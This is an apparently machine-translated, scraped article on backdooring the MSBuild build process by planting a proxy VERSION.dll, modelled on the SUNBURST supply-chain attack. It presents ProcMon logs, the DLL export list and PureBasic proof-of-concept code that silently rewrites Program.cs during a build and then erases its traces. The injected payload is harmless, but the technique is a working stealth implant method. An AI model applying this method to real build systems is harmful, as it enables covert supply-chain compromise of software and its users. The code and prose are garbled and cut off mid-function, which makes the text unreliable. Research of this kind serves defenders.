In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/03 Report--
This article mainly introduces "how to analyze MSBuild backdoor technology". In daily operation, I believe many people have doubts about how to analyze MSBuild backdoor technology. The editor consulted all kinds of materials and sorted out simple and easy-to-use operation methods. I hope it will be helpful for you to answer the doubts about "how to analyze MSBuild backdoor technology". Next, please follow the editor to study!
Words written in the front
In 2020, different branches of the US federal government were affected by large-scale data leaks. Much of this can be attributed to supply chain attacks on SolarWinds, including the infrastructure of its flagship product, SolarWinds Orion. On January 11, 2021, the CrowdStrike intelligence team released an analysis of a malicious tool deployed in the SolarWinds build environment that injected SUNBURST backdoors into the SolarWinds Orion platform at build time.
CrowdStrike's blog post was introduced to me by a colleague. SUNBURST developers will try to search for MSBuild.exe processes every second and then read the virtual memory in these remote processes to determine if the correct solution is being built. In addition, SUNBURST attackers create a scheduled task to perform a backdoor implant every time the target device starts.
In fact, I think this way is very rough and hasty, so what would be better? Let's move on!
MSBuild Review
The MSBuild Microsoft engine uses XML files to guide the build process of the target solution most of the time when building applications.
One of the first things you will notice when examining MSBuild.exe 's code is that it is a .NET assembly. So, which method is the best way to backdoor any .NET assembly?
Yes, it is using version.dll.
After running a quick build of any solution (for example, using C:\ Windows\ Microsoft.NET\ Framework64\ v4.0.30319\ MSBuild.exe SomeProject.sln / t:Build / pareConfigurationRelease Platformers Win64), and using ProcMon to record the execution path of the program, we will find that the program will search for multiple DLL files in the MSBuild.exe directory:
{"type": "load-not-found-dll", "event_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\\ v4.0.30319\\ mscoree.dll", "process_image_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\\ MSBuild.exe"} {"type": "load-not-found-dll" "event_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\\ v4.0.30319\\ ole32.dll", "process_image_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\\ MSBuild.exe"} {"type": "load-not-found-dll" "event_path": "C:\\ Windows\\ Microsoft.NET\ Framework64\\ v4.0.30319\\ api-ms-win-core-winrt-l1-1-0.dll", "process_image_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\\ MSBuild.exe"} {"type": "load-not-found-dll" "event_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\\ v4.0.30319\\ VERSION.dll", "process_image_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\\ MSBuild.exe"} {"type": "load-not-found-dll" "event_path": "C:\\ Windows\\ Microsoft.NET\ Framework64\\ v4.0.30319\\ api-ms-win-core-winrt-string-l1-1-0.dll", "process_image_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\\ MSBuild.exe"} {"type": "load-not-found-dll" "event_path": "C:\\ Windows\\ Microsoft.NET\ Framework64\\ v4.0.30319\\ sxs.dll", "process_image_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\\ v4.0.30319\\ MSBuild.exe"} {"type": "load-not-found-dll", "event_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\\ WindowsCodecs.dll" "process_image_path": "C:\\ Windows\\ Microsoft.NET\ Framework64\\ v4.0.30319\\ MSBuild.exe"} {"type": "load-not-found-dll", "event_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\\ VERSION.dll" "process_image_path": "C:\ Windows\\ Microsoft.NET\ Framework64\\ v4.0.30319\ Csc.exe"} {"type": "load-not-found-dll", "event_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\ mscoree.dll", "process_image_path": "C:\\ Windows\\ Microsoft.NET\\ Framework64\ v4.0.30319\\ Csc.exe"}
Therefore, we can start directly with the MSBuild.exe or C # compiler (Csc.exe)! As CrowdStrike mentioned, the implanted backdoor code has checked out the correct solution, so we will also operate on the MSBuild.exe file in our tests.
VERSION.dll structure
We already know that VERSION.dll will export 17 different names, and we need to implement these to make sure that the normal functionality of the goal is not affected.
_ export_name (GetFileVersionInfoA) _ export_name (GetFileVersionInfoByHandle) _ export_name (GetFileVersionInfoExA) _ export_name (GetFileVersionInfoExW) _ export_name (GetFileVersionInfoSizeA) _ export_name (GetFileVersionInfoSizeExA) _ export_name (GetFileVersionInfoSizeExW) _ export_name (GetFileVersionInfoSizeW) _ export_name (GetFileVersionInfoW) _ _ export_name (VerFindFileA) _ export_name (VerFindFileW) _ export_name (VerInstallFileA) _ export_name (VerInstallFileW) _ export_name (VerLanguageNameA) _ export_name (VerLanguageNameW) _ _ export_name (VerQueryValueA) _ _ export_name (VerQueryValueW) proof of concept PoC
Our PoC implements the backdoor function in DLL without having to read remote process memory or trigger process search every second. PoC will be written in PureBasic, because no normal attacker will implement his implant in it, so you don't need to consider copying and pasting the source code; -)
Target analysis
The injected code should have the following characteristics:
There are no other running processes
No remote process operations (read / write remote process memory, etc.)
The only trigger to generate the right solution
Insert the back door during the build
Delete the backdoor source file after the build process
Goal realization
As we saw earlier, the VERSION.dll file was loaded by the .NET runtime a long time ago. By implementing the mock function, you can not only verify that DLL is loaded, but also know that the GetFileVersionInfoSizeW function is called before the build process is executed, as shown in the following figure:
With this in mind, instead of relying on any immature solution in the DllMain function, we can bypass any problem with the loader lock by hijacking the GetFileVersionInfoSizeW call, executing our backdoor insert code, and then calling the real GetFileVersionInfoSizeW function and returning its result.
In the following PoC, the back door is inserted into the call to GetFileVersionInfoSizeW. Throughout the process, the source code is kept in memory, and as long as you call DllMain with DLL_PROCESS_DETACH, you can delete the backdoor code by restoring the previous source code.
Summary
By copying our VERSION.dll to the MSBuild directory, we can better ensure the security of the operation, because there is no need to create additional processes, we can omit the memory search and capture each build operation, because our code is executed directly by MSBuild.
Source code acquisition
The source code and the precompiled code can be obtained by clicking [here].
; * * Author: marpie (marpie@a12d404.net) *; * License: BSD 2-clause *; * Copyright: (C) 2021, a12d404.net * * Status: Prototype *; * Created: 20200116 *; * Last Update: 20200117 * * EnableExplicit -Consts # TARGET_SOLUTION = "ConsoleApp1.sln" # BACKDOOR_CODE = "public Class1 () {Console.WriteLine (" + Chr (34) + "Hello from the Static initializer!" + Chr (34) + ") } "# BACKDOOR_INSERT_AFTER =" class Class1 {"# BACKDOOR_ALIVE = $c45c9bda8db1#MIN_SIZE = 100,100 bytes; -;-VariablesGlobal mux.i = # Null Set in DLL_PROCESS_ATTACHGlobal hVersion.i = # Null; orig version.dll handleGlobal active.i = 0; checked in CleanupBackdoor Global origContent.s = ""; ptr to memory of the original sourceGlobal origContentSize.i = 0; size of the original source -Backdoor Handling Procedure.s GetTargetFilePath () Define i.i Define path.s For I = 0 To CountProgramParameters () path = ProgramParameter (I) If CountString (path, # TARGET_SOLUTION) > 0 ProcedureReturn GetPathPart (path) + "Program.cs" EndIf Next ProcedureReturn "EndProcedure Procedure.b ReadOrigContent (hFile.i) Define res.b = # False FileSeek (hFile, 0, # PB_Absolute) Define size.i = Lof (hFile) Define * mem = AllocateMemory (size) If ReadData (hFile, * mem) Size) size Goto ReadAllCleanup EndIf origContent = PeekS (* mem, size, # PB_UTF8) origContentSize = Len (origContent) res = # TrueReadAllCleanup: If * mem FreeMemory (* mem) EndIf ProcedureReturn resEndProcedure InsertBackdoor needs to be called from a function holing muxkeeper Procedure.b InsertBackdoor (path.s) Define res.b = # False Define hFile.i = OpenFile (# PB_Any, path, # PB_File_SharedRead | # PB_UTF8) If Not hFile ProcedureReturn res EndIf; read file content If Not ReadOrigContent (hFile) Goto InsertBackdoorError EndIf; check if the right code is present Define pos.i = FindString (origContent, # BACKDOOR_INSERT_AFTER)-1 If pos
< 0 Goto InsertBackdoorError EndIf ; revert file to 0 FileSeek(hFile, 0, #PB_Absolute) TruncateFile(hFile) ; write content till start of backdoor Define writeSize.i = pos+Len(#BACKDOOR_INSERT_AFTER) Define sizeLeft = writeSize If WriteString(hFile, Left(origContent, writeSize), #PB_UTF8) = 0 ; we should add a restore of the original file here ; ... depending on the write error ... Goto InsertBackdoorError EndIf ; write backdoor writeSize = Len(#BACKDOOR_CODE) If WriteString(hFile, #BACKDOOR_CODE, #PB_UTF8) = 0 ; we should add a restore of the original file here ; ... depending on the write error ... Goto InsertBackdoorError EndIf ; write rest of file writeSize = origContentSize-sizeLeft If WriteString(hFile, Right(origContent, writeSize), #PB_UTF8) = 0 ; we should add a restore of the original file here ; ... depending on the write error ... Goto InsertBackdoorError EndIf res = #TrueInsertBackdoorCleanup: CloseFile(hFile) ProcedureReturn resInsertBackdoorError: If Len(origContent) >Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.